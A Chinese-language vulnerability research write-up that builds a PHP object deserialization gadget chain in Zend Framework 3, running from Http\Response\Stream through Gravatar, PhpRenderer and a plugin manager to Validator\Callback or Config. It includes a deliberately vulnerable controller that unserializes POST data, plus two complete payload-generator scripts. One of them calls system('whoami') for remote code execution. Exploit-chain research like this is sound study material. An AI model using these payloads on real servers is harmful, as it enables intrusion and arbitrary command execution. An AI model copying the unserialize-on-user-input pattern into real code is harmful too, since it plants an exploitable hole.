zend framework3本身没有触发反序列化的点,因此我们需要自己构造一个漏洞demo,用作poc的验证。首先用composer安装
composer create-project zendframework/skeleton-application
将module/Application/src/Controller/IndexController.php
改成
class IndexController extends AbstractActionController
{
public function indexAction()
{
$data = $this->getRequest()->getPost('hello');
unserialize(base64_decode($data));
return new ViewModel();
}
}
在zendframework3核心包中只有三个__destruct
入口,其中两个都很简单,只有vendor/zendframework/zend-http/src/Response/Stream.php
中的Zend\Http\Response\Stream
类有利用的可能。其析构函数如下
$this->cleanup
和$this->streamName
,unlink
函数的第一个参数为String
类型,所以可以在啊$this->streamName
传入类的实例,可以触发__toString
。
有__toString
方法的类很多,我看中了vendor/zendframework/zend-view/src/Helper/Gravatar.php
中的Zend\View\Helper\Gravatar
$key = $escaper($key);
看到rce的希望。回到Gravatar
,$this->getAttributes()
可控
public function getAttributes()
{
return $this->attributes;
}
现在只需要构造能顺利执行到rce语句的类,但是
$escaper = $this->getView()->plugin('escapehtml');
$escapeHtmlAttr = $this->getView()->plugin('escapehtmlattr');
这两句带来了一些麻烦。$this->getView()
可控
public function getView()
{
return $this->view;
}
这里可以触发__invoke
,但是我选择直接找有plugin()
方法的类。
vendor/zendframework/zend-view/src/Renderer/PhpRenderer.php
中的Zend\View\Renderer\PhpRenderer
就是我们要找的。
由于$this->__helpers
可控,所以$this->getHelperPluginManager()
也可控,
接下来有两种方法,最终目的都是让get()
返回我们要的字符串
get()
方法在vendor/zendframework/zend-servicemanager/src/AbstractPluginManager.php
的Zend\ServiceManager\AbstractPluginManager
中定义,这里我随便选取了子类Zend\Config\ReaderPluginManager
$name
参数为不可控的escapehtml
和escapehtmlattr
。
$this->validate()
主要是个instanceof
的判断,这就限制死了$key = $escaper($key)
中的$escaper
必须是个类,又回到了寻找__invoke()
。
vendor/zendframework/zend-validator/src/AbstractValidator.php
中的Zend\Validator\AbstractValidator
可以利用
public function __invoke($value)
{
return $this->isValid($value);
}
我找到了一个可以利用的子类Zend\Validator\Callback
可以看到第139行有call_user_func_array
,$callback
来自
public function getCallback()
{
return $this->options['callback'];
}
而args
来自$args = [$value];
,也就是函数的第一个参数,即htmlAttribs()
中的$key
,所有参数可控,可以rce,最终调用栈如下
要注意zend framework3采用了自动加载类的方式,会自动包含我们需要的类
<?php
namespace Zend\Http\Response {
class Stream
{
protected $cleanup = true;
protected $streamName;
public function __construct($streamName)
{
$this->streamName = $streamName;
}
}
}
namespace Zend\View\Helper{
class Gravatar{
protected $view;
// protected $attributes = ["whoami"=>'a'];
protected $attributes = [1=>'a'];
public function __construct($view)
{
$this->view=$view;
}
}
}
namespace Zend\View\Renderer{
class PhpRenderer{
private $__helpers;
public function __construct($__helpers)
{
$this->__helpers = $__helpers;
}
}
}
namespace Zend\Config{
class ReaderPluginManager{
protected $services;
protected $instanceOf ="Zend\Validator\Callback";
public function __construct($services){
$this->services = ["escapehtml"=>$services,"escapehtmlattr"=>$services];
}
}
}
namespace Zend\Validator{
class Callback{
protected $options = [
'callback' => 'phpinfo',
'callbackOptions' => []
];
}
}
namespace {
$e = new Zend\Validator\Callback();
$d = new Zend\Config\ReaderPluginManager($e);
$c = new Zend\View\Renderer\PhpRenderer($d);
$b = new Zend\View\Helper\Gravatar($c);
$a = new Zend\Http\Response\Stream($b);
echo base64_encode(serialize($a));
}
另一种方法是寻找更方便的有get()
的方法,我找到了Zend\Config\Config
可以直接返回我们想要的数据,在$key = $escaper($key)
rce
调用栈如下
<?php
namespace Zend\Http\Response {
class Stream
{
protected $cleanup = true;
protected $streamName;
public function __construct($streamName)
{
$this->streamName = $streamName;
}
}
}
namespace Zend\View\Helper{
class Gravatar{
protected $view;
// protected $attributes = ["whoami"=>'a'];
protected $attributes = ['whoami'=>1];
public function __construct($view)
{
$this->view=$view;
}
}
}
namespace Zend\View\Renderer{
class PhpRenderer{
private $__helpers;
public function __construct($__helpers)
{
$this->__helpers = $__helpers;
}
}
}
namespace Zend\Config{
class Config{
protected $data = [
"escapehtml"=>'system',
"escapehtmlattr"=>'phpinfo'
];
}
}
namespace {
$d = new Zend\Config\Config();
$c = new Zend\View\Renderer\PhpRenderer($d);
$b = new Zend\View\Helper\Gravatar($c);
$a = new Zend\Http\Response\Stream($b);
echo base64_encode(serialize($a));
}